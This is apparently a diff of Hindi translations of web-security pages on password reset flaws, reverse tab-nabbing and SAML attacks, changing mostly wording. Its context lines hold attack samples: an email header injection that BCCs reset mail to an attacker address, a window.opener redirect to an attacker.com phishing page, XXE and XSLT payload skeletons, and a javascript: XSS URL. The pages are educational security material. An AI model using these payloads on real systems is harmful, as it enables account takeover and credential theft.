|
||||
- **Impact**: Cross-Site Request Forgery (CSRF) हमलों के माध्यम से संभावित खाता अधिग्रहण।
|
||||
- **Exploitation**: यह जांचने के लिए कि क्या पासवर्ड रीसेट टोकन referer हेडर में लीक हो रहा है, **अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें** और प्रदान किए गए **रीसेट लिंक पर क्लिक करें**। **अपने पासवर्ड को तुरंत न बदलें**। इसके बजाय, **Burp Suite का उपयोग करके अनुरोधों को इंटरसेप्ट करते हुए एक तीसरे पक्ष की वेबसाइट पर जाएं** (जैसे Facebook या Twitter)। यह देखने के लिए अनुरोधों का निरीक्षण करें कि क्या **referer हेडर में पासवर्ड रीसेट टोकन शामिल है**, क्योंकि इससे संवेदनशील जानकारी तीसरे पक्ष को उजागर हो सकती है।
|
||||
- **Exploitation**: यह जांचने के लिए कि क्या पासवर्ड रीसेट टोकन referer हेडर में लीक हो रहा है, **अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें** और प्रदान किए गए **रीसेट लिंक पर क्लिक करें**। **अपना पासवर्ड तुरंत न बदलें**। इसके बजाय, **Burp Suite का उपयोग करके अनुरोधों को इंटरसेप्ट करते हुए** **एक तीसरे पक्ष की वेबसाइट** (जैसे Facebook या Twitter) पर जाएं। देखें कि क्या **referer हेडर में पासवर्ड रीसेट टोकन है**, क्योंकि इससे संवेदनशील जानकारी तीसरे पक्ष को उजागर हो सकती है।
|
||||
- **References**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
@ -14,10 +14,10 @@
|
||||
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- हमलावर पासवर्ड रीसेट अनुरोधों के दौरान Host हेडर को एक दुर्भावनापूर्ण साइट की ओर रीसेट लिंक को इंगित करने के लिए हेरफेर कर सकते हैं।
|
||||
- हमलावर पासवर्ड रीसेट अनुरोधों के दौरान Host हेडर को एक दुर्भावनापूर्ण साइट पर रीसेट लिंक को इंगित करने के लिए हेरफेर कर सकते हैं।
|
||||
- **Impact**: हमलावरों को रीसेट टोकन लीक करके संभावित खाता अधिग्रहण की ओर ले जाता है।
|
||||
- **Mitigation Steps**:
|
||||
- अनुमत डोमेन की एक व्हाइटलिस्ट के खिलाफ Host हेडर को मान्य करें।
|
||||
- अनुमत डोमेन की व्हाइटलिस्ट के खिलाफ Host हेडर को मान्य करें।
|
||||
- पूर्ण URLs उत्पन्न करने के लिए सुरक्षित, सर्वर-साइड विधियों का उपयोग करें।
|
||||
- **Patch**: `$_SERVER['SERVER_NAME']` का उपयोग करके पासवर्ड रीसेट URLs बनाएं, `$_SERVER['HTTP_HOST']` के बजाय।
|
||||
- **References**:
|
||||
@ -57,7 +57,7 @@ POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- हमलावर के ईमेल को दूसरे पैरामीटर के रूप में जोड़ें,
|
||||
- हमलावर के ईमेल को दूसरे पैरामीटर के रूप में , का उपयोग करके जोड़ें।
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -77,9 +77,9 @@ POST /resetPassword
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **API पैरामीटर के माध्यम से किसी भी उपयोगकर्ता का ईमेल और पासवर्ड बदलना**
|
||||
## **Changing Email And Password of any User through API Parameters**
|
||||
|
||||
- हमलावर API अनुरोधों में ईमेल और पासवर्ड पैरामीटर को संशोधित कर सकते हैं ताकि खाता क्रेडेंशियल्स को बदल सकें।
|
||||
- हमलावर API अनुरोधों में ईमेल और पासवर्ड पैरामीटर को संशोधित करके खाता क्रेडेंशियल्स बदल सकते हैं।
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
@ -131,7 +131,7 @@ uuid-insecurities.md
|
||||
- त्रुटि संदेशों या प्रतिबंधों को बायपास करने के लिए HTTP प्रतिक्रियाओं में हेरफेर करना।
|
||||
- **Mitigation Steps**:
|
||||
- प्रतिक्रिया की अखंडता सुनिश्चित करने के लिए सर्वर-साइड जांच लागू करें।
|
||||
- मैन-इन-द-मिडिल हमलों को रोकने के लिए HTTPS जैसे सुरक्षित संचार चैनलों का उपयोग करें।
|
||||
- मैन-इन-द-मिडल हमलों को रोकने के लिए HTTPS जैसे सुरक्षित संचार चैनलों का उपयोग करें।
|
||||
- **Reference**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
|
@ -2,12 +2,12 @@
|
||||
|
||||
# विवरण
|
||||
|
||||
एक स्थिति में जहां एक **हमलावर** **`href`** तर्क को **नियंत्रित** कर सकता है **`<a`** टैग के साथ विशेषता **`target="_blank" rel="opener"`** जिसे एक पीड़ित द्वारा क्लिक किया जाने वाला है, **हमलावर** इस **लिंक** को एक वेब पर इंगित करता है जो उसके नियंत्रण में है (एक **दुष्ट** **वेबसाइट**)। फिर, जब **पीड़ित क्लिक करता है** लिंक पर और हमलावर की वेबसाइट पर पहुंचता है, तो यह **दुष्ट** **वेबसाइट** **`window.opener`** जावास्क्रिप्ट ऑब्जेक्ट के माध्यम से **मूल** **पृष्ठ** को **नियंत्रित** करने में सक्षम होगी।\
|
||||
यदि पृष्ठ में **`rel="opener"` नहीं है लेकिन `target="_blank"` है और `rel="noopener"` नहीं है**, तो यह भी कमजोर हो सकता है।
|
||||
एक स्थिति में जहां एक **हमलावर** **`href`** तर्क को **नियंत्रित** कर सकता है **`<a`** टैग के साथ विशेषता **`target="_blank" rel="opener"`** जिसे एक पीड़ित द्वारा क्लिक किया जाने वाला है, **हमलावर** इस **लिंक** को एक वेब पर इंगित करता है जो उसके नियंत्रण में है (एक **दुष्ट** **वेबसाइट**)। फिर, जब **पीड़ित क्लिक करता है** लिंक पर और हमलावर की वेबसाइट तक पहुँचता है, यह **दुष्ट** **वेबसाइट** **`window.opener`** जावास्क्रिप्ट ऑब्जेक्ट के माध्यम से **मूल** **पृष्ठ** को **नियंत्रित** करने में सक्षम होगी।\
|
||||
यदि पृष्ठ में **`rel="opener"` नहीं है लेकिन `target="_blank"` है और `rel="noopener"` नहीं है** तो यह भी कमजोर हो सकता है।
|
||||
|
||||
इस व्यवहार का दुरुपयोग करने का एक सामान्य तरीका होगा **मूल वेब का स्थान बदलना** `window.opener.location = https://attacker.com/victim.html` एक ऐसी वेब पर जो हमलावर द्वारा नियंत्रित है जो **मूल एक की तरह दिखती है**, ताकि यह **मूल वेबसाइट** के **लॉगिन** **फॉर्म** की **नकल** कर सके और उपयोगकर्ता से क्रेडेंशियल्स मांग सके।
|
||||
इस व्यवहार का दुरुपयोग करने का एक सामान्य तरीका होगा **मूल वेब का स्थान बदलना** `window.opener.location = https://attacker.com/victim.html` एक ऐसी वेब पर जो हमलावर द्वारा नियंत्रित है जो **मूल एक जैसा दिखता है**, ताकि यह **मूल वेबसाइट** के **लॉगिन** **फॉर्म** की **नकल** कर सके और उपयोगकर्ता से क्रेडेंशियल्स मांग सके।
|
||||
|
||||
हालांकि, ध्यान दें कि चूंकि **हमलावर अब मूल वेबसाइट के विंडो ऑब्जेक्ट को नियंत्रित कर सकता है**, वह इसे अन्य तरीकों से **गुप्त हमलों** को अंजाम देने के लिए दुरुपयोग कर सकता है (शायद जावास्क्रिप्ट घटनाओं को संशोधित करके जानकारी को उसके द्वारा नियंत्रित सर्वर पर निकालना?)
|
||||
हालांकि, ध्यान दें कि चूंकि **हमलावर अब मूल वेबसाइट के विंडो ऑब्जेक्ट को नियंत्रित कर सकता है**, वह इसे अन्य तरीकों से **गुप्त हमलों** को करने के लिए दुरुपयोग कर सकता है (शायद जावास्क्रिप्ट घटनाओं को संशोधित करके जानकारी को उसके द्वारा नियंत्रित सर्वर पर निकालने के लिए?)
|
||||
|
||||
# अवलोकन
|
||||
|
||||
@ -26,7 +26,7 @@
|
||||
## उदाहरण <a href="#examples" id="examples"></a>
|
||||
|
||||
एक फ़ोल्डर में निम्नलिखित पृष्ठ बनाएं और `python3 -m http.server` के साथ एक वेब सर्वर चलाएं\
|
||||
फिर, **एक्सेस** `http://127.0.0.1:8000/`vulnerable.html, **क्लिक** करें लिंक पर और नोट करें कि **मूल** **वेबसाइट** **यूआरएल** **कैसे बदलता है**।
|
||||
फिर, **पहुँचें** `http://127.0.0.1:8000/`vulnerable.html, **क्लिक करें** लिंक पर और नोट करें कि **मूल** **वेबसाइट** **यूआरएल** **कैसे बदलता है**।
|
||||
```markup:vulnerable.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -58,17 +58,17 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||||
```
|
||||
## Accessible properties <a href="#accessible-properties" id="accessible-properties"></a>
|
||||
|
||||
उस परिदृश्य में जहाँ **cross-origin** पहुँच होती है (विभिन्न डोमेन के बीच पहुँच), **opener** जावास्क्रिप्ट ऑब्जेक्ट संदर्भ द्वारा संदर्भित **window** जावास्क्रिप्ट क्लास इंस्टेंस की संपत्तियाँ, जिन्हें एक दुर्भावनापूर्ण साइट द्वारा पहुँचा जा सकता है, निम्नलिखित तक सीमित हैं:
|
||||
उस परिदृश्य में जहाँ **cross-origin** पहुँच होती है (विभिन्न डोमेन के बीच पहुँच), **opener** जावास्क्रिप्ट ऑब्जेक्ट संदर्भ द्वारा संदर्भित **window** जावास्क्रिप्ट क्लास इंस्टेंस की विशेषताएँ, जिन्हें एक दुर्भावनापूर्ण साइट द्वारा पहुँचा जा सकता है, निम्नलिखित तक सीमित हैं:
|
||||
|
||||
- **`opener.closed`**: इस संपत्ति का उपयोग यह निर्धारित करने के लिए किया जाता है कि क्या एक विंडो बंद हो गई है, जो एक बूलियन मान लौटाती है।
|
||||
- **`opener.frames`**: यह संपत्ति वर्तमान विंडो के भीतर सभी iframe तत्वों तक पहुँच प्रदान करती है।
|
||||
- **`opener.length`**: वर्तमान विंडो में मौजूद iframe तत्वों की संख्या इस संपत्ति द्वारा लौटाई जाती है।
|
||||
- **`opener.opener`**: इस संपत्ति के माध्यम से वर्तमान विंडो को खोलने वाली विंडो का संदर्भ प्राप्त किया जा सकता है।
|
||||
- **`opener.parent`**: यह संपत्ति वर्तमान विंडो के माता-पिता विंडो को लौटाती है।
|
||||
- **`opener.self`**: इस संपत्ति द्वारा वर्तमान विंडो स्वयं तक पहुँच प्रदान की जाती है।
|
||||
- **`opener.top`**: यह संपत्ति सबसे ऊपरी ब्राउज़र विंडो को लौटाती है।
|
||||
- **`opener.closed`**: इस विशेषता का उपयोग यह निर्धारित करने के लिए किया जाता है कि क्या एक विंडो बंद हो गई है, जो एक बूलियन मान लौटाती है।
|
||||
- **`opener.frames`**: यह विशेषता वर्तमान विंडो के भीतर सभी iframe तत्वों तक पहुँच प्रदान करती है।
|
||||
- **`opener.length`**: वर्तमान विंडो में उपस्थित iframe तत्वों की संख्या इस विशेषता द्वारा लौटाई जाती है।
|
||||
- **`opener.opener`**: इस विशेषता के माध्यम से वर्तमान विंडो को खोलने वाली विंडो का संदर्भ प्राप्त किया जा सकता है।
|
||||
- **`opener.parent`**: यह विशेषता वर्तमान विंडो के माता-पिता विंडो को लौटाती है।
|
||||
- **`opener.self`**: इस विशेषता द्वारा वर्तमान विंडो तक पहुँच प्रदान की जाती है।
|
||||
- **`opener.top`**: यह विशेषता सबसे ऊपरी ब्राउज़र विंडो को लौटाती है।
|
||||
|
||||
हालांकि, जब डोमेन समान होते हैं, तो दुर्भावनापूर्ण साइट को [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) जावास्क्रिप्ट ऑब्जेक्ट संदर्भ द्वारा उजागर की गई सभी संपत्तियों तक पहुँच प्राप्त होती है।
|
||||
हालांकि, उन मामलों में जहाँ डोमेन समान होते हैं, दुर्भावनापूर्ण साइट को [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) जावास्क्रिप्ट ऑब्जेक्ट संदर्भ द्वारा उजागर की गई सभी विशेषताओं तक पहुँच प्राप्त होती है।
|
||||
|
||||
# Prevention
|
||||
|
||||
|
@ -42,39 +42,39 @@ First child after round-trip: Z
|
||||
|
||||
.png>)
|
||||
|
||||
और यह इसे पार्सिंग और सीरियलाइजेशन के एक दौर के बाद कैसे देखा:
|
||||
और यह है कि इसे पार्सिंग और सीरियलाइजेशन के एक दौर के बाद कैसे देखा गया:
|
||||
|
||||
.png>)
|
||||
|
||||
कमजोरी के बारे में अधिक जानकारी और इसका दुरुपयोग कैसे करें:
|
||||
कमजोरी और इसे कैसे दुरुपयोग किया जा सकता है, के बारे में अधिक जानकारी के लिए:
|
||||
|
||||
- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
|
||||
- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
|
||||
|
||||
## XML Signature Wrapping Attacks
|
||||
|
||||
**XML Signature Wrapping attacks (XSW)** में, प्रतिकूल पक्ष एक कमजोरी का लाभ उठाते हैं जो तब उत्पन्न होती है जब XML दस्तावेज़ों को दो अलग-अलग चरणों के माध्यम से संसाधित किया जाता है: **signature validation** और **function invocation**। ये हमले XML दस्तावेज़ संरचना को बदलने में शामिल होते हैं। विशेष रूप से, हमलावर **जाली तत्वों** को इंजेक्ट करता है जो XML Signature की वैधता को प्रभावित नहीं करते। यह हेरफेर **application logic** द्वारा विश्लेषित तत्वों और **signature verification module** द्वारा जांचे गए तत्वों के बीच एक विसंगति उत्पन्न करने के लिए है। परिणामस्वरूप, जबकि XML Signature तकनीकी रूप से वैध रहता है और सत्यापन पास करता है, एप्लिकेशन लॉजिक **धोखाधड़ी तत्वों** को संसाधित करता है। इस प्रकार, हमलावर प्रभावी रूप से XML Signature की **integrity protection** और **origin authentication** को बायपास करता है, जिससे **मनमाने सामग्री** का इंजेक्शन बिना पहचान के संभव हो जाता है।
|
||||
**XML Signature Wrapping attacks (XSW)** में, प्रतिकूलक XML दस्तावेज़ों को दो अलग-अलग चरणों के माध्यम से संसाधित करते समय उत्पन्न होने वाली कमजोरी का लाभ उठाते हैं: **signature validation** और **function invocation**। ये हमले XML दस्तावेज़ की संरचना को बदलने में शामिल होते हैं। विशेष रूप से, हमलावर **जाली तत्वों** को इंजेक्ट करता है जो XML Signature की वैधता को प्रभावित नहीं करते। यह हेरफेर **application logic** द्वारा विश्लेषित तत्वों और **signature verification module** द्वारा जांचे गए तत्वों के बीच एक विसंगति उत्पन्न करने के लिए है। परिणामस्वरूप, जबकि XML Signature तकनीकी रूप से वैध रहता है और सत्यापन पास करता है, एप्लिकेशन लॉजिक **धोखाधड़ी तत्वों** को संसाधित करता है। इस प्रकार, हमलावर प्रभावी रूप से XML Signature की **integrity protection** और **origin authentication** को बायपास करता है, जिससे **मनमाने सामग्री** का इंजेक्शन बिना पहचान के संभव हो जाता है।
|
||||
|
||||
निम्नलिखित हमले [**इस ब्लॉग पोस्ट**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **और** [**इस पेपर**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) पर आधारित हैं। इसलिए आगे की जानकारी के लिए उन्हें देखें।
|
||||
|
||||
### XSW #1
|
||||
|
||||
- **Strategy**: एक नया रूट तत्व जिसमें सिग्नेचर शामिल है जोड़ा जाता है।
|
||||
- **Strategy**: एक नया रूट तत्व जिसमें सिग्नेचर शामिल है, जोड़ा जाता है।
|
||||
- **Implication**: वेलिडेटर वैध "Response -> Assertion -> Subject" और हमलावर के "evil new Response -> Assertion -> Subject" के बीच भ्रमित हो सकता है, जिससे डेटा इंटीग्रिटी समस्याएँ उत्पन्न हो सकती हैं।
|
||||
|
||||
.png>)
|
||||
|
||||
### XSW #2
|
||||
|
||||
- **Difference from XSW #1**: एक एनवेलपिंग सिग्नेचर के बजाय एक डिटैच्ड सिग्नेचर का उपयोग करता है।
|
||||
- **Implication**: "evil" संरचना, XSW #1 के समान, इंटीग्रिटी चेक के बाद व्यावसायिक लॉजिक को धोखा देने का प्रयास करती है।
|
||||
- **Difference from XSW #1**: एक एन्वेलपिंग सिग्नेचर के बजाय एक डिटैच्ड सिग्नेचर का उपयोग करता है।
|
||||
- **Implication**: "evil" संरचना, XSW #1 के समान, इंटीग्रिटी चेक के बाद व्यवसायिक लॉजिक को धोखा देने का प्रयास करती है।
|
||||
|
||||
.png>)
|
||||
|
||||
### XSW #3
|
||||
|
||||
- **Strategy**: एक evil Assertion को मूल assertion के समान स्तर पर तैयार किया जाता है।
|
||||
- **Implication**: व्यावसायिक लॉजिक को दुर्भावनापूर्ण डेटा का उपयोग करने के लिए भ्रमित करने का इरादा है।
|
||||
- **Implication**: व्यवसायिक लॉजिक को दुर्भावनापूर्ण डेटा का उपयोग करने के लिए भ्रमित करने का इरादा है।
|
||||
|
||||
.png>)
|
||||
|
||||
@ -88,14 +88,14 @@ First child after round-trip: Z
|
||||
### XSW #5
|
||||
|
||||
- **Unique Aspect**: न तो Signature और न ही मूल Assertion मानक कॉन्फ़िगरेशन (enveloped/enveloping/detached) का पालन करते हैं।
|
||||
- **Implication**: कॉपी किया गया Assertion Signature को एनवेलप करता है, अपेक्षित दस्तावेज़ संरचना को संशोधित करता है।
|
||||
- **Implication**: कॉपी किया गया Assertion Signature को एन्वेलप करता है, अपेक्षित दस्तावेज़ संरचना को संशोधित करता है।
|
||||
|
||||
.png>)
|
||||
|
||||
### XSW #6
|
||||
|
||||
- **Strategy**: XSW #4 और #5 के समान स्थान सम्मिलन, लेकिन एक मोड़ के साथ।
|
||||
- **Implication**: कॉपी किया गया Assertion Signature को एनवेलप करता है, जो फिर मूल Assertion को एनवेलप करता है, एक नेस्टेड धोखाधड़ी संरचना बनाता है।
|
||||
- **Implication**: कॉपी किया गया Assertion Signature को एन्वेलप करता है, जो फिर मूल Assertion को एन्वेलप करता है, एक नेस्टेड धोखाधड़ी संरचना बनाता है।
|
||||
|
||||
.png>)
|
||||
|
||||
@ -108,8 +108,8 @@ First child after round-trip: Z
|
||||
|
||||
### XSW #8
|
||||
|
||||
- **Difference from XSW #7**: हमले के एक रूप के लिए एक और कम प्रतिबंधात्मक XML तत्व का उपयोग करता है।
|
||||
- **Implication**: मूल Assertion कम प्रतिबंधात्मक तत्व का बच्चा बन जाता है, XSW #7 में उपयोग की गई संरचना को उलटता है।
|
||||
- **Difference from XSW #7**: हमले के एक रूपांतर के लिए एक और कम प्रतिबंधात्मक XML तत्व का उपयोग करता है।
|
||||
- **Implication**: मूल Assertion कम प्रतिबंधात्मक तत्व का बच्चा बन जाता है, XSW #7 में उपयोग की गई संरचना को उलट देता है।
|
||||
|
||||
.png>)
|
||||
|
||||
@ -119,13 +119,13 @@ First child after round-trip: Z
|
||||
|
||||
## XXE
|
||||
|
||||
यदि आप नहीं जानते कि XXE किस प्रकार के हमले हैं, तो कृपया निम्नलिखित पृष्ठ पढ़ें:
|
||||
यदि आप नहीं जानते कि XXE हमले किस प्रकार के होते हैं, तो कृपया निम्नलिखित पृष्ठ पढ़ें:
|
||||
|
||||
{{#ref}}
|
||||
../xxe-xee-xml-external-entity.md
|
||||
{{#endref}}
|
||||
|
||||
SAML Responses **deflated और base64 encoded XML दस्तावेज़** होते हैं और XML External Entity (XXE) हमलों के प्रति संवेदनशील हो सकते हैं। SAML Response की XML संरचना में हेरफेर करके, हमलावर XXE कमजोरियों का लाभ उठाने का प्रयास कर सकते हैं। यहाँ इस प्रकार के हमले को कैसे देखा जा सकता है:
|
||||
SAML Responses **deflated और base64 encoded XML दस्तावेज़** होते हैं और XML External Entity (XXE) हमलों के प्रति संवेदनशील हो सकते हैं। SAML Response के XML संरचना में हेरफेर करके, हमलावर XXE कमजोरियों का लाभ उठाने का प्रयास कर सकते हैं। यहाँ इस प्रकार के हमले को कैसे देखा जा सकता है:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
@ -157,9 +157,9 @@ XSLT के बारे में अधिक जानकारी के ल
|
||||
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
{{#endref}}
|
||||
|
||||
Extensible Stylesheet Language Transformations (XSLT) का उपयोग XML दस्तावेजों को HTML, JSON, या PDF जैसे विभिन्न प्रारूपों में परिवर्तित करने के लिए किया जा सकता है। यह महत्वपूर्ण है कि **XSLT परिवर्तन डिजिटल हस्ताक्षर के सत्यापन से पहले किए जाते हैं**। इसका मतलब है कि एक हमला सफल हो सकता है भले ही हस्ताक्षर मान्य न हो; एक स्व-हस्ताक्षरित या अमान्य हस्ताक्षर आगे बढ़ने के लिए पर्याप्त है।
|
||||
Extensible Stylesheet Language Transformations (XSLT) का उपयोग XML दस्तावेजों को HTML, JSON, या PDF जैसे विभिन्न प्रारूपों में परिवर्तित करने के लिए किया जा सकता है। यह महत्वपूर्ण है कि **XSLT परिवर्तनों को डिजिटल हस्ताक्षर के सत्यापन से पहले किया जाता है**। इसका मतलब है कि एक हमला सफल हो सकता है भले ही हस्ताक्षर मान्य न हो; एक स्व-हस्ताक्षरित या अमान्य हस्ताक्षर आगे बढ़ने के लिए पर्याप्त है।
|
||||
|
||||
यहां आप इस प्रकार की कमजोरियों की जांच के लिए एक **POC** पा सकते हैं, हैक्ट्रिक्स पृष्ठ पर जो इस अनुभाग की शुरुआत में उल्लेखित है, आप पेलोड के लिए देख सकते हैं।
|
||||
यहां आप इस प्रकार की कमजोरियों की जांच के लिए एक **POC** पा सकते हैं, हैक्ट्रिक्स पृष्ठ पर जो इस अनुभाग की शुरुआत में उल्लेखित है, आप पेलोड्स के लिए देख सकते हैं।
|
||||
```xml
|
||||
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||||
...
|
||||
@ -201,7 +201,7 @@ Extensible Stylesheet Language Transformations (XSLT) का उपयोग XML
|
||||
|
||||
## Certificate Faking
|
||||
|
||||
Certificate Faking एक तकनीक है जो यह परीक्षण करती है कि **Service Provider (SP) सही तरीके से सत्यापित करता है कि SAML Message एक विश्वसनीय Identity Provider (IdP) द्वारा हस्ताक्षरित है**। इसमें SAML Response या Assertion को हस्ताक्षरित करने के लिए \***self-signed certificate** का उपयोग करना शामिल है, जो SP और IdP के बीच विश्वास सत्यापन प्रक्रिया का मूल्यांकन करने में मदद करता है।
|
||||
Certificate Faking एक तकनीक है जो यह परीक्षण करती है कि **Service Provider (SP) सही ढंग से सत्यापित करता है कि SAML Message एक विश्वसनीय Identity Provider (IdP) द्वारा हस्ताक्षरित है**। इसमें SAML Response या Assertion को हस्ताक्षरित करने के लिए \***self-signed certificate** का उपयोग करना शामिल है, जो SP और IdP के बीच विश्वास सत्यापन प्रक्रिया का मूल्यांकन करने में मदद करता है।
|
||||
|
||||
### How to Conduct Certificate Faking
|
||||
|
||||
@ -217,7 +217,7 @@ Certificate Faking एक तकनीक है जो यह परीक्
|
||||
|
||||
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||
|
||||
Token Recipient Confusion और Service Provider Target Confusion यह जांचने में शामिल हैं कि **Service Provider सही तरीके से प्रतिक्रिया के इच्छित प्राप्तकर्ता को सत्यापित करता है**। मूल रूप से, एक Service Provider को एक प्रमाणीकरण प्रतिक्रिया को अस्वीकार करना चाहिए यदि यह किसी अन्य प्रदाता के लिए थी। यहां महत्वपूर्ण तत्व **Recipient** फ़ील्ड है, जो SAML Response के **SubjectConfirmationData** तत्व के भीतर पाया जाता है। यह फ़ील्ड एक URL निर्दिष्ट करता है जो बताता है कि Assertion को कहाँ भेजा जाना चाहिए। यदि वास्तविक प्राप्तकर्ता इच्छित Service Provider से मेल नहीं खाता है, तो Assertion को अमान्य माना जाना चाहिए।
|
||||
Token Recipient Confusion और Service Provider Target Confusion यह जांचने में शामिल हैं कि **Service Provider सही ढंग से प्रतिक्रिया के इच्छित प्राप्तकर्ता को सत्यापित करता है**। मूल रूप से, एक Service Provider को एक प्रमाणीकरण प्रतिक्रिया को अस्वीकार करना चाहिए यदि यह किसी अन्य प्रदाता के लिए थी। यहां महत्वपूर्ण तत्व **Recipient** क्षेत्र है, जो SAML Response के **SubjectConfirmationData** तत्व के भीतर पाया जाता है। यह क्षेत्र एक URL निर्दिष्ट करता है जो इंगित करता है कि Assertion को कहाँ भेजा जाना चाहिए। यदि वास्तविक प्राप्तकर्ता इच्छित Service Provider से मेल नहीं खाता है, तो Assertion को अमान्य माना जाना चाहिए।
|
||||
|
||||
#### **How It Works**
|
||||
|
||||
@ -244,7 +244,7 @@ return "SAML Response successfully redirected to SP-Target."
|
||||
except Exception as e:
|
||||
return f"Failed to redirect SAML Response: {e}"
|
||||
```
|
||||
## Logout कार्यक्षमता में XSS
|
||||
## लॉगआउट कार्यक्षमता में XSS
|
||||
|
||||
मूल शोध [इस लिंक](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) के माध्यम से पहुँचा जा सकता है।
|
||||
|
||||
@ -256,7 +256,7 @@ https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
||||
```
|
||||
यह दर्शाता है कि `base` पैरामीटर एक URL स्वीकार करता है। इसे ध्यान में रखते हुए, विचार आया कि URL को `javascript:alert(123);` के साथ प्रतिस्थापित किया जाए ताकि XSS (Cross-Site Scripting) हमले को प्रारंभ किया जा सके।
|
||||
यह दर्शाता है कि `base` पैरामीटर एक URL स्वीकार करता है। इसे ध्यान में रखते हुए, एक विचार उभरा कि URL को `javascript:alert(123);` के साथ प्रतिस्थापित किया जाए ताकि XSS (Cross-Site Scripting) हमले को प्रारंभ किया जा सके।
|
||||
|
||||
### सामूहिक शोषण
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
# SAML अवलोकन
|
||||
|
||||
**सिक्योरिटी असेर्शन मार्कअप लैंग्वेज (SAML)** पहचान प्रदाताओं (IdP) को सेवा प्रदाताओं (SP) को प्राधिकरण क्रेडेंशियल भेजने के लिए उपयोग करने की अनुमति देता है, जिससे सिंगल साइन-ऑन (SSO) की सुविधा मिलती है। यह दृष्टिकोण कई लॉगिन के प्रबंधन को सरल बनाता है, जिससे एक ही सेट के क्रेडेंशियल्स को कई वेबसाइटों पर उपयोग किया जा सकता है। यह IdPs और SPs के बीच मानकीकृत संचार के लिए XML का उपयोग करता है, उपयोगकर्ता पहचान के प्रमाणीकरण को सेवा प्राधिकरण से जोड़ता है।
|
||||
**सिक्योरिटी असेर्शन मार्कअप लैंग्वेज (SAML)** पहचान प्रदाताओं (IdP) को सेवा प्रदाताओं (SP) को प्राधिकरण क्रेडेंशियल भेजने के लिए उपयोग करने की अनुमति देता है, जिससे सिंगल साइन-ऑन (SSO) की सुविधा मिलती है। यह दृष्टिकोण कई लॉगिन के प्रबंधन को सरल बनाता है, जिससे एक ही सेट के क्रेडेंशियल को कई वेबसाइटों पर उपयोग किया जा सकता है। यह IdPs और SPs के बीच मानकीकृत संचार के लिए XML का उपयोग करता है, उपयोगकर्ता पहचान के प्रमाणीकरण को सेवा प्राधिकरण से जोड़ता है।
|
||||
|
||||
## SAML और OAuth के बीच तुलना
|
||||
|
||||
@ -23,7 +23,7 @@ SAML प्रमाणीकरण प्रक्रिया में कई
|
||||
4. **IdP अनुरोध प्राप्त करता है**: IdP SAML अनुरोध प्राप्त करता है।
|
||||
5. **IdP पर प्रमाणीकरण**: IdP उपयोगकर्ता का प्रमाणीकरण करता है।
|
||||
6. **उपयोगकर्ता मान्यता**: IdP उपयोगकर्ता की वैधता की पुष्टि करता है कि वह अनुरोधित संसाधन तक पहुंच सकता है।
|
||||
7. **SAML प्रतिक्रिया निर्माण**: IdP आवश्यक असर्शन के साथ SAML प्रतिक्रिया उत्पन्न करता है।
|
||||
7. **SAML प्रतिक्रिया निर्माण**: IdP आवश्यक असर्शन के साथ एक SAML प्रतिक्रिया उत्पन्न करता है।
|
||||
8. **SP के ACS URL पर पुनर्निर्देशन**: उपयोगकर्ता SP के असेर्शन कंज्यूमर सर्विस (ACS) URL पर पुनर्निर्देशित होता है।
|
||||
9. **SAML प्रतिक्रिया मान्यता**: ACS SAML प्रतिक्रिया की मान्यता करता है।
|
||||
10. **संसाधन पहुंच दी गई**: प्रारंभ में अनुरोधित संसाधन तक पहुंच दी जाती है।
|
||||
@ -44,36 +44,36 @@ Host: shibdemo-sp1.test.edu
|
||||
```
|
||||
इस अनुरोध के मुख्य तत्वों में शामिल हैं:
|
||||
|
||||
- **AssertionConsumerServiceURL**: यह निर्दिष्ट करता है कि IdP को SAML प्रतिक्रिया प्रमाणीकरण के बाद कहाँ भेजनी चाहिए।
|
||||
- **AssertionConsumerServiceURL**: यह निर्दिष्ट करता है कि IdP को SAML Response को प्रमाणीकरण के बाद कहाँ भेजना चाहिए।
|
||||
- **Destination**: IdP का पता जहाँ अनुरोध भेजा जाता है।
|
||||
- **ProtocolBinding**: SAML प्रोटोकॉल संदेशों के संचरण विधि को परिभाषित करता है।
|
||||
